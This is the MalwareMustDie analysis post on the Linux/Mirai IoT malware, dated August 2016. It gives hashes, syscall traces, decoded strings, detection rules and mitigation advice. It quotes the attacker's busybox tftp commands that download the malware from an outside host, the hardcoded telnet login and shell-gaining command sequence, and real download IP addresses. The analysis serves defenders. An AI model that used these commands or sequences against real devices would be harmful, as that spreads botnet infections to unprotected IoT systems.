MMD-0056-2016 - Linux/Mirai, how an old ELF malcode is recycled..

Background

From August 4th 2016 several sysadmin friends were helping us by uploading this malware files to our dropbox. The samples of this particular ELF malware ware not easy to retrieve, there are good ones and also some broken ones, I listed in this post for the good ones only. This threat is made by a new ELF trojan backdoor which is now in on-going stage aiming IoT, the name of the binary is "mirai.*" and is having telnet attack as main functionality to other boxes.

As I see these samples as something new, it would be good to start to write analysis for the purpose to raise awareness of this threat widely, since the attacks are actively spotted in the wild on plenty of infected IoT networks. During the checks I discussed about the threat to the engineer friends in ETLabs,[links] who also detecting the same attack phenomena, and then having dialogue with our supporters who reported this threat directly too.

ELF Linux/Mirai is currently having a very low ELF/Linux antivirus detection ratio, even in the architecture of x86. The detection in VT for the collected multiplatform samples can be viewed in the several links below:
Linux/Mirai ITW samples: [link] [link] [link] [link] [link] [link] [link] [link] [link]

The reason for the lack of detection is because of the lack of samples, which are difficult to fetch from the infected IoT devices, routers, DVR or WebIP Camera, the Linux with Busybox binary in embedded platform, which what this threat is aiming.

The threat information

The binaries are collected from multiple direct/indirect sources:

mirai.arm:    ELF 32-bit LSB executable, 'ARM', version , statically linked, stripped
mirai.arm7:   ELF 32-bit LSB executable, 'ARM, EABI4' version 1 (SYSV), statically linked, stripped
mirai.mips:   ELF 32-bit MSB executable, 'MIPS, MIPS-I' version 1 (SYSV), statically linked, stripped
mirai.ppc:    ELF 32-bit MSB executable, 'PowerPC or cisco 4500', ver 1 (SYSV), statically linked, stripped
mirai.sh4:    ELF 32-bit LSB executable, 'Renesas SH', version 1 (SYSV), statically linked, stripped
mirai.sparc:  ELF 32-bit MSB executable, 'SPARC', version 1 (SYSV), statically linked, stripped
mirai.x86:    ELF 32-bit LSB executable, 'Intel 80386', version 1 (SYSV), statically linked, stripped

I picked up the ELF binary in ARM architecture for my main reversing since the it was the first ELF appeared, Doing the cross reference with the MIPS, PPC and Sparc ELF ones for the details. In this case, I use plenty of usual tools, nothing fancy or special.

The hash of the Linux/Mirai initial binaries spotted:

MD5 ('mirai.arm')  = b98bc6ab2ed13028cd5178c422ec8dda
MD5 ('mirai.arm7') = 33987c397cefc41ce5e269ad9543af4c
MD5 ('mirai.mips') = 8e36a1fb6f6f718ec0b621a639437d8b
MD5 ('mirai.ppc')  = e08befb4d791e8b9218020292b2fecad
MD5 ('mirai.sh4')  = 030159a814a533f30a3e17fe757586e6
MD5 ('mirai.sparc')= ac61ba163bffc0ec94944bb7b7bb1fcc
MD5 ('mirai.x86')  = 6b7b6ee71c8338c030997d902a2fa593

These binaries were infected to the compromised Linux system's SSH or Telnet account (via default password flaw on specific IoT aimed). Upon the shell access gained, the attacker will download the payload of this malware to the Linux device by command traced like below:

'busybox tftp' -r [MalwareFile] -g [IPsource]
'busybox tftp' -g -l 'dvrHelper' -r [MalwareFile] [IPsource]

5.206.225.96 |  |49349 | 5.206.225.0/24 | DOTSI | PT | tuganet.pt | Dotsi Unipessoal Lda.
151.80.99.84 | ns395732.ip-151-80-99.eu. |16276 | 151.80.0.0/16 | OVH | FR | ovh.com | OVH SAS

Execution processes

In some cases of the Linux/Mirai infection is showing traces that the malware was executed without parameter and there are cases where the downloaded malware file(s) is deleted after execution. In this case mostly you won't get the samples unless you dump the malware process to the ELF binary. This explains it is hard to get the good working samples for this new threat.

During the execution, the malware will open the /etc/watchdog file in read-write state with the command:

open("/dev/watchdog", O_RDWR)

/dev/misc/watchdog

chdir("/")

connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16) 

getsockname(3, {sa_family=AF_INET, sin_port=htons(39221), sin_addr=inet_addr("YOUR-IP")}, [16])
close(3)

At this point the malware is performing several decoding for strings, which will be resulted in the targeted malware file name (below) and several random names.

0xbf96daa4  0000 0000 0000 0000 0000 0000 0000  ..............
0xbf96dab2  0000 2e2f 6476 7248 656c 7065 7200  ..'/dvrHelper'.
0xbf96dac0  0000 0000 0000 0000 0000 0000 0000  ..............

The /etc/watchdog execution is meant for making the delay, for the malware not to perform the bad function instantly to avoid the early detection, and it just sit there and make sure the malicious opened backdoor port is up and used. The mentioned {Something} is the keyword generated by the malware, in example path: /dev/.anime/drvHelper

Upon execution the malware will be self-deleted to avoid the trace, but the process is running. In some IoT that can be seen in lsof or the list to the /proc with specific PID, i.e.:

/proc/{PID}/exe -> '/dev/.{something}/dvrHelper' (deleted) 
/proc/{PID}/exe -> './{long alphabet strings}' (deleted) 

In this stage, the networking process continues, the malware is opening PF_INET socket for TCP, and bind it to the specific port (not random) TCP/48101 from localhost IP address 127.0.0.1 and then starting to listen to the incoming connection:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
bind(3, {sa_family=AF_INET, sin_port='htons(48101'), sin_addr=inet_addr("127.0.0.1")}, 16)
listen(3, 1) 

By this stage the system-wide realtime clock will be queried (triggered by random) along with the retrieval set of PID, following by start forking, noted the following clocktest output and the stdout of "NULL\n"

clock_gettime(CLOCK_REALTIME, {1472261021, 649262704}. 
getpid() // // see the reverse engineering part...
getppid()
clock_gettime(0x2 /* CLOCK_??? */, {0, 6215000})
prctl(PR_SET_NAME, 0xbef89752, 0xbef897b8, 0xbef897c8, 0)
write(1, NULL, 0)
write(1, "\n", 1)
fork()

- forking always starts if infection possible.
- The "NULL\n" is for the execution trace of the watchdog via execl(parse to environment in execve).

For some infection case the malware is self connected to its opened TCP/48101 & will continuously looping without making any forks, in this case you won't get infection:

connect(4, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16}

IPv4 5629  0t0  TCP 127.0.0.1:'48101 (LISTEN)'
 IPv4 5670  0t0  TCP 127.0.0.1:60254->'127.0.0.1:48101 (ESTABLISHED)'

In the forked process, upon the attack command can be triggered, the infected device will perform connection on telnet services on other device for the abuse purpose:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
connect(6, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("x.x.x.x")}, 16)
sendto(7, "\377\374\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\374!", 3, MSG_NOSIGNAL, NULL, 0) 
sendto(7, "\377\375\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\3", 3, MSG_NOSIGNAL, NULL, 0)
recvfrom(0, "E\0\0(\276~@\0001\6t\342\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\214".
recvfrom(0, "E\0\0004>J@\0*\6\fbj\375(g\300\250\262\v\0\27\243\375P\351\2211m\4\322o"..
recvfrom(0, "E\0\0(\276\177@\0001\6t\341\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\344"..
recvfrom(0, "E\0\0(\276\200@\0001\6t\340\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3426,"..
recvfrom(0, "E\0\0,\0\0@\0.\6\216=I\213\2P\300\250\262\v\0\27\311gH\31\23\320I\213\2Q".

connect(0, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("65.222.202.53")}, 16)

Mitigation method of Linux/Mirai infection

Picking a right ELF is important..

You'll find so little indicator and some encoded strings in the ARM binary. But there is no problem. First you should pick the clean ELF, it has the characteristic like the below:

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            ARM
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00008000 0x00008000 0x0dbb4 0x0dbb4 R E 0x8000
  LOAD           0x00e004 0x0001e004 0x0001e004 0x001d4 0x05a84 RW  0x8000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Section to Segment mapping:
  Segment Sections...
   00     .init .text .fini .rodata
   01     .ctors .dtors .data .bss

From each of Linux.Mirai ELF file clean state like above, it has significant strings that can be filtered by signatures:

/dev/watchdog
'LCOGQGPTGP'
/proc/stat
/proc/cpuinfo
processor
/sys/devices/system/cpu
enter
ogin
assword
/dev/null

In rare occasion for infection of Linux/Mirai will connect you back to this MUD game site, blocking its IP is good for protection:

↑The site is showing the asciiart Mirai logo. ↓Anybody's home??
This MUD-like interface is later on known as Mirai botnet CNC CLI panel, thank's "Richard":

Blocking the used TCP/48101 port if you don't use it, it's good to prevent infection & further damage:

mirai 29557 toor 3u  IPv4  386807  0t0  "TCP 127.0.0.1:48101 (LISTEN)"
mirai 29557 toor 4u  IPv4  504795  0t0  "TCP 127.0.0.1:44424->127.0.0.1:48101 (ESTABLISHED)"

The other method is to secure your busybox execution to be run only on specific user. You'll need shell access for this operation, along with other hardening methods. The most important thing to prevent the infection is: if you have an IoT device, please make sure you have no telnet service open and running.

Botnet protocol used for infection via Telnet service

This explanation exists because of there are two good persons are supporting effort to crack it: Special thank's to Waldo Kitty & @node5.

What I am explaining here is the telnet scanner function that is used by attacker using the Linux/Mirai client version to get the installation of this malware in other node with accessible telnetd.

During the telnet session, Linux/Mirai attacker will communicate with its target with specific protocol. Please see the illustration below for getting the idea of what will be explained in the next writing:

The Username and Passwords mentioned in the figure are used for login bruting, and is hardcoded in the binary of Linux/Mirai, along with the commands used for the gaining the shell.

The botnet will communicate to the remote access (assuming server) who request the same strings sent, with the "report" in CNC callback, with the specific keyword.
After gaining shell access, the malware sends the shell one-liner command to install malware with the format as below:

This command is also hardcoded. It explained why we can not find the samples in the current infected systems since the malware file downloaded will be deleted after the execution.

The possible sequence of the attack commands can be shown as below variations:

{Username}
{Passwords}
shell
enable
sh
/bin/busybox MIRAI

{Username}
{Passwords}
enable
system
shell
sh
bin/busybox MIRAI

The reversing snips for this infection protocol can be read in skeleton reversing section.

Reversing Linux/Mirai (stripped ARM) in binary (raw) way

The binary is reversible, but it's a bit "heavily stripped" and has double function for decoders, so it is not that easy to read, but it's fine. You'll see some important "artifacts" like these "case-switch" they coded to perform attack:

If you trace it carefully all of origin for strings used in encoded binary can be read like this:

Decoder

// just to get the idea...what is cracked..

  fn.0x0000f9e8(var3,  (int)"\rRPMA\r\"", 7);
  fn.0x0000f9e8(var4,  (int)"\rGZG\"", 5);
  fn.0x0000f9e8(var7,  (int)"jvvrdnmmf\"", 10);
  fn.0x0000f9e8(var8,  (int)"nmnlmevdm\"", 10);
  fn.0x0000f9e8(var10, (int)"XMNNCPF\"", 8);
  fn.0x0000f9e8(var11, (int)"egvnmacnkr\"", 11);
  fn.0x0000f9e8(var14, (int)"QJGNN\"", 6);
  fn.0x0000f9e8(var15, (int)"GLC@NG\"", 7);
  fn.0x0000f9e8(var16, (int)"Q[QVGO\"", 7);
       :
  fn.0x0000f9e8(var17, (int)"QJ\"", 3);
  fn.0x0000f9e8(var20, (int)"LAMPPGAV\"", 9);

// One decoder in fn.0x0000f9e8

|           0x0000f9e8      000052e3       cmp r2, 0
|           0x0000f9ec      0ef0a001       moveq pc, lr
|           0x0000f9f0      00c0a0e3       mov ip, 0
|           ; JMP XREF from 0x0000fa04 (fcn.0000f9e8)
|       .-> 0x0000f9f4      0130d1e4       ldrb r3, [r1], 1
|       |   0x0000f9f8      0030cce7       strb r3, [ip, r0]
|       |   0x0000f9fc      01c08ce2       add ip, ip, 1
|       |   0x0000fa00      02005ce1       cmp ip, r2
|       `=< 0x0000fa04      faffff1a       bne 0xf9f4
\           0x0000fa08      0ef0a0e1       mov pc, lr

So the usual reversing method can be done to this ELF malware with using any of your flavor reversing tool that can support ELF reading in little endian. (Well, by know you all know what our chosen reversing tool is). I will not say much about this, since all of the previous posts are showing much of this method, but let me explain a new method with the details in the next section.

Reversing Linux/Mirai (stripped ARM) on "skeleton" tool

I've been working with my personal project called skeleton for some time, it was started since the ELF Workshop of MalwareMustDie started in here, Tokyo, Japan during AVTokyo conference last year. With the goal to be an open source project (currently still in private for some hiccups core development). The tool is having all practical necessity I need during analyzing a new unknown ELF malware, to save my time a lot to focus on the core of codes and source of the threat.

For the RCE itself, Skeleton can be used to form the ELF binary into as close as possible to the original state. If a known binary is analyzed by "skeleton", it's not interesting and that's not the point of this tool. Skeleton is showing its advantages when you push the unknown ELF into it, so this ARM binary is a good chance to test it :-).

Firstly, the simple explanation of "skeleton" concept can be seen in the figure below, a self-explanatory:

Skeleton concept is analyzing the all malware libraries you collected (all vectors related information of one family of malware) in the database, and is checking the new analyzed binary by firstly checking calls made on the sample..just like when you trace a syscalls..but with additional of the known function too are stored in malcode dataset. For example, in this Linux/Mirai this is the statistic of used syscall (this is only the example, using a very well known command):

Then the tool is parsed by radare2 assembly dump of the malware, in the form like in the below picture's shown:

..and after some process (sorry that I can not say openly here), receiving a not-bad reversing output in the C-like (NOT C++). The result is not 100% looks like the original source code. Specially if you are reversing this from ARM processor which many variable declaration will be passed more steps through registers than Intel, but it will get you into an idea of what kind of code that's actually responsible for this badness. The code generated by this scheme is making a basic concept code of what the actual source code is, why I called it as "skeleton".
PS: Radare is the best tool for RCE in this planet, me and MMD team are proud to use it for so long.

..And I was not surprised when I saw that ELF Linux/Mirai was actually showing many part of codes as similar as GayFgt/Torlus/Lizkebab or Bash0day/Bashdoor/BashLite.
Reference about GayFgt/Torlus/Lizkebab [link]

Below are screenshots of view of skeleton RCE tool results (after being beautified) by analyzing Linux/Mirai malware:

The cracked functions:

Putting all together in the main() :)

The case-switch used for abuse action (attack, etc) trigger, looks like the coding style of Torlus/GayFgt re-coded version to me..

Obviously same style of coding too :-) Some strings are automatic input by skeleton as suggestion since the system found the code matched.

Another encoded strings blob and path to its decoder addresses:

Snips of "Skeleton" reversing on the malware's Telnet Scanning Protocol

This part can not be done well w/o cool help from WaldoKitty. Not every information will be published, it is posted in enough level to PoC the threat and its origin.

The telnet login command "grepped" by the Linux/Mirai from skeleton C code:

The password request of the telnet login grepped:

How the user & password is sent, one at the time..

Attempt to gain the shell...studied from several collected bins

How the injected code is formed and sent...in rough code.

This will be followed by the fetch malware command described in the telnet attack protocol section.

If you see the above telnet infection generated reversed codes of Linux/Mirai, except for the usage of encoded strings and some additional/modification in injected telnet commands, it is reminding us for the previous known malware threat that aimed telnet and IoT/routers created by the skiddos we posted before. They don't (or maybe just can't) do much modification for the telnet scanner part.

Despite similarity in the telnet infection, there are some interesting functions can be seen in the malware attack action that's not found in the previous threat, please take a rain check for those, for the current security reason.

About further information on the telnet scannning research from the overall infected IoT device I can recommend you a very good report on telnet honeypot written by Mr. Bedřich Košata in CZ.NIC [link]

Notes for skeleton reversed code:

The thing about reverse engineering is, you always can sense same stuff coded from someone or from the threat you follow. The generated code is not 100% same as the original source used, but it is enough to give is idea about how it works in more details and how it was coded. In this reversing I am using the one several ARM samples in 32bit as main reference, which is influencing the distortion in code generated (to be more using more variables and registers than Intel). I will brush-up these codes in my spare time.

The conclusion

Open rules:
  2023016 - ET TELNET SUSPICIOUS Path to BusyBox
  2023017 - ET TELNET SUSPICIOUS busybox shell
  2023018 - ET TELNET SUSPICIOUS busybox enable
  2023019 - ET TELNET busybox MIRAI hackers - Possible Brute Force Attack

Ah, one last thing... We still have a better KungFu, kiddos! :)

Thank you and epilogue

To all of the good sysadmin friends who uploaded us the samples. To engineer friends in ET Labs for the nice discussion about the threat. To security ring in MMD and my country who support to our ELF research. To the friends who contacted us directly and doing the very best cooperation to share and explain the threat..even-though it was hard to fetch some binaries from the memory but you all did it, we thank you for the hard work and support to make this analysis is possible.

I will continue the development of the "skeleton" tool to be more presentable and used by good people who want to dissect the unknown binary by this method. At the moment I will try to sync the skeleton development plan to be presented in public for the near future. Please contact @unixfreaxjp for the development matters.

The moral of the story of this threat ; this is the example, on how a group of bad hackers can improve themselves.. if we let them still be freely doing their vandalism act out there. They keep on improving their threat and they have no care to aim anything that can be infected to expand their "botnets". Don't let the young age reducing our priority to stop the actors in the legal way, juveniles scheme in our culture are there for them to taste the consequences of what they do in the real life., let them taste it. If we don't stop them now..think about what they can do for 5 or 10 years from now to our internet.

To have Linux boxes in IoT to support our present life aspects is a bless in our technology era. But please be parallel to serve those boxes with more presentable security settings and don't let the authentication security for those running 365/24/7 OS becomes obsolete. Apply some securing method to secure it better too in user land UI i.e.: to force users to change the factory setting passwords BEFORE using them, or not to let telnetd runs openly by default, ask the users not to serve SSH in the default ports of possible, and these are really helping to reduce this threat hitting networks that is having much IoT running. Feel free to contact us in @malwaremustdie (twitter/direct message), or by comments to this post if you have an infection for this malware and look for advisory to dissect it, or to dump the sample from your busybox/IoT.

Thank you very much for the internet media awareness

We, MMD thank our good friends in internet media for your fast awareness of this threat:
1. Security Affairs (interview report) [link]
2. Security Week [link]
3. Softpedia [link]
4. Open Source Forum .RU [link]
5. Bug Online .HR [link]
6. Muy Seguridad .ES [link]
7. IPSInfo. RU [link]
8. Articulos relacionados con el mundo de la tecnologia .ES [link]
9. 甄选微信朋友圈热门文章_微信热文 .CN [link]
10. Info Security Magazine .NL [link]
11. HelpNet Security [link]
12. Best Security Search [link]
13. 老蔡博客 | 专注云计算运维自动化 .CN [link]
14. IT Vesti (Bosnian) [link]
15. Heise Security .DE [link]
16. Slashdot.org [link]
..and others who are not mentioned yet (I am sorry!)

Stay safe folks!

#MalwareMustDie!
Reversed, analyzed and written by @unixfreaxjp [link], August 31st 2016.